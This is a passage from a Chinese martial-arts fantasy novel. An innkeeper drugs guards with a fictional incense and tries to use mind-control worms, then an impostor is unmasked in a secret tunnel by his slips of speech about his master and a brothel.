说到这个,老庄头的得意之色溢于言表,他双手抱胸,朝着那在大堂擦着柜台的墨渡昂了昂首:“瞧见没,当初那小川可算是个医中强者,不还是被我控制了。”
说完,又看着丁崇一疑惑道:“不过,你是怎么进来的?这四周不都被他们围满了。”
忽而又轻拍一下额头:“是老朽糊涂了,丁侍卫的轻功可是万里挑一,据说当年主公能死里逃生,还多亏了您。”
“行了,恭维的话就别说了,我等你信号。”话落,丁崇一已经消失在原地,只留下衣角划过带来的一阵微风。
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诺敏回到房间时,已是子时,才跟自己对弈了一局,鼻尖就传来一阵异香,她轻嗅分辨。
梦魂引。
这背后之人还真是大手笔,这制作梦魂引的药材可不便宜,解药亦然,不过她更不缺钱罢了。
不过要是墨渡知道他自己的东西,在害他之人手中,那表情一定很精彩。
诺敏起身上了榻,闭眼假寐,真是人生如戏啊。
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子时三刻,围在客栈外围的侍卫头领,见老庄头手中托着一尊巴掌大的乌铜香炉走出来,询问道:“掌柜这是作何?”
老庄头见他们站到此刻,面上却没有丝毫困顿之色,眸中划过一道厉色,随即掩去,唇角带笑:“各位大人真是辛苦。这屋外常有蛇虫鼠蚁出没,老朽给各位大人驱驱虫。”
那头领想起自家大人的交代,朝老庄头点了点头:“那就有劳掌柜了。”
丝丝缕缕淡紫色的烟雾从香炉的孔窍中溢出,随风自动飘散在侍卫的鼻尖。
半柱香后,待老庄头从屋内走出时,屋外的侍卫已经全部昏死过去,他哼笑一声:“三倍量的梦魂引,哪怕壮的似头牛也挡不住啊。”
他算了算时辰,那二楼房中的人应当早就昏迷了,他从怀中取出一枚信号箭指向空中,只听“嗖!”的一声,消失不见。
又朝身后喊了一声:“小川。”
墨渡慢腾腾地从暗中走出,老庄头将惑心蛊递给他,吩咐道:“去二楼,将此物放入他们的耳道。”
墨渡伸手接过,眼中无波无澜转身而去。
老庄头正欲将惑心蛊放入那首领的耳道,口中得意:“这次送你们过去,不知主公会赏我什么新鲜的玩意儿。”
下一秒手就被擒住了,捏住他手腕的那只手遒劲有力,哪像是昏迷之人。
老庄头看着方才还倒地不醒的那群人,此刻已精神抖擞的站在眼前,扑通一声跌坐在地,眸中惊骇:“你......你们没中......”
药字还没出口,人已经被敲晕了。
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暗夜无星,檐角的残灯早就灭了,只留柜台上一盏老油灯。
那老庄头伏在案上,酒喝到一半,门“吱呀”一声被开了条缝,来人罩着黑斗篷,正是那丁崇一。
那黑影走近,目光环顾了一圈,问道:“人呢?”
老庄头给他斟了一杯酒,嗓音嘶哑:“都在后院呢,被惑心蛊控制着,你还怕他们跑了不成。”
丁崇一闻言才松了口气,解开斗篷,将腰间长剑解开放到柜上:“成了就好。”
老庄头又将手边的酒推近了几分:“在外
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面蹲了这许久指定冻着了。来,先喝口我这独家酿造的天仙醉,暖暖身子,一般人我可不舍得。”
丁崇一端起眼前的酒杯浅饮了一口,酒香扑鼻,口感醇厚,确实是天仙醉。
这老庄头还真是对他不错,这酒可不好得:“主公对你还真是不吝赏赐。”
老庄头眸光微闪,又给他斟满,口中尽是调侃的意味:“主公向来赏罚分明,你得的好东西就少了?主公不过是知道我好这口而已。”
丁崇一拿起酒盏的手顿了一瞬,点了点头才道:“是啊,你最是好酒了。”
话落,他将酒盏“咚”地一声落回柜台:“走吧,赶紧交差,完事儿我还得去伊红楼找点儿乐子呢。”
老庄头似是被这话逗笑:“行行行,你这小子果真是年轻气盛,小心被那小娘子吸干了精气。”
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火把幽微的光将这冗长的甬道照亮,谁也不曾想到在这酣梦楼的后院,竟有这样一条密道,直通千丘岭外。
丁崇一在前带路,老庄头紧随其身后一步,后面还跟着一群面色迷离的人。
他们的侧脸在明灭光影里线条紧绷,那原本清明的眼眸,此刻却涣散着,火光映照下,竟真有了几分以假乱真的呆滞。
甬道愈发幽深,空气中弥漫着铁锈与湿土交杂的腐朽味,不知何时,悄然掺入一丝极淡的清香。
诺敏的指尖在万俟庭掌心轻轻一滑,瞬时那掌心已多出一枚药丸,他脚步未停,甚至眼神都未偏转一分,只在转过拐角时,迅速将那枚药丸送入口中。
行至一个空旷的岔路口,那带头的丁崇一忽而停住了脚步,还不待老庄头上前询问,他已经浑身失力,倒地不起,只能干瞪着眼,接着一个、两个......,都是如此。
“你带这群废物进来,就是为了扰我清梦?”娇媚的嗓音从右边的暗道口传来,一身着靛青色裙裾的女子从里面走出,腰间的铃铛随着她的步伐叮铃作响,铃铛上还绕着一个黑色的小蛇朝众人吐着信子,手腕绕着一层又一层的软银丝,直至指尖。
丁崇一抱拳行礼:“阿暖小姐,是属下无能,只能来寻您帮助。”
幸好,主公为了让千丘岭多一道保障,长期让阿暖小姐驻守在这条密道上,否则他怎么死的都不知道。
她信步至丁崇一旁,睨了一眼倒地的人,嘴角戏谑:“老庄头这是常在河边走,这次湿了鞋。”
又抬手指向那倒地的“老庄头”:“他是假的?你怎么知道的?”
丁崇一朝旁边挪了一步,这女人从上到下皆是毒,他可不想中招:“老庄头对主公最是敬重,只会自称老奴,而刚刚这人在谈酒时说‘主公不过是知道我好这口而已’。”
那女子嗤笑一声:“就不能是一时口误?”
丁崇一肯定道:“不会。而且当我说到要去伊红院时,他竟以为我是去找小娘子的。属下们谁人不知,主公最忌骄奢淫逸,那伊红院是主公的产业,虽说明面上是妓院,对我们却只卖酒。”
躺在地上的“老庄头”,应该说是陆祁安,怎么也没想到,竟然败在他这张嘴上,真是多说多错。